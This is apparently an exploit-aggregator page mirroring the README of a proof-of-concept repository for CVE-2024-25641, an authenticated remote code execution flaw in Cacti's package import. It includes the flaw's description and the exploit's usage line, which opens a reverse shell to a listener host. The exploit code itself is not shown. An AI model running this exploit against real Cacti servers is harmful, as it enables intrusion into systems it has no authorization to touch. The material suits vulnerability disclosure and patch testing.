CVE-2024-25641 PoC — Cacti RCE vulnerability when importing packages

Source

https://github.com/D3Ext/CVE-2024-25641

Associated Vulnerability

Title:Cacti RCE vulnerability when importing packages (CVE-2024-25641)
Description:Cacti provides an operational monitoring and fault management framework. Prior to version 1.2.27, an arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server. The vulnerability is located within the `import_package()` function defined into the `/lib/import.php` script. The function blindly trusts the filename and file content provided within the XML data, and writes such files into the Cacti base path (or even outside, since path traversal sequences are not filtered). This can be exploited to write or overwrite arbitrary files on the web server, leading to execution of arbitrary PHP code or other security impacts. Version 1.2.27 contains a patch for this issue.

Description

POC exploit for CVE-2024-25641

Readme

# CVE-2024-25641

```
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
```

## Explanation

This repository contains a POC (Proof of Concept) of the CVE-2024-25641 vulnerability, which affects to Cacti 1.2.26 version. This vulnerability is exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server. The vulnerability is located within the `import_package()` function defined into the `/lib/import.php` script. This exploit uses a PHP reverse shell which is triggered once the malicious plugin is uploaded.

## Usage

```
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]

CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE

options:
  -h, --help           show this help message and exit
  --url URL            URL of the Cacti web root
  --user USER          username to log in
  --password PASSWORD  password of the username
  --lhost LHOST        local host to receive the reverse shell
  --lport LPORT        local port to receive the reverse shell
  --verbose            enable verbose
```

Start a netcat listener and then execute the exploit like this:

```sh
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>
```

## Demo

<img src="demo.png">

## References

```
https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
```

## License

This project is under [MIT](https://github.com/D3Ext/CVE-2024-25641/blob/main/LICENSE) license

Copyright © 2025, *D3Ext*

File Snapshot


 [4.0K]  /data/pocs/8be41b8df53dbb29261bc33bacfaa3373eb3551e
├── [ 90K]  demo.png
├── [8.4K]  exploit.py
├── [1.0K]  LICENSE
├── [2.0K]  README.md
└── [ 106]  requirements.txt

0 directories, 5 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!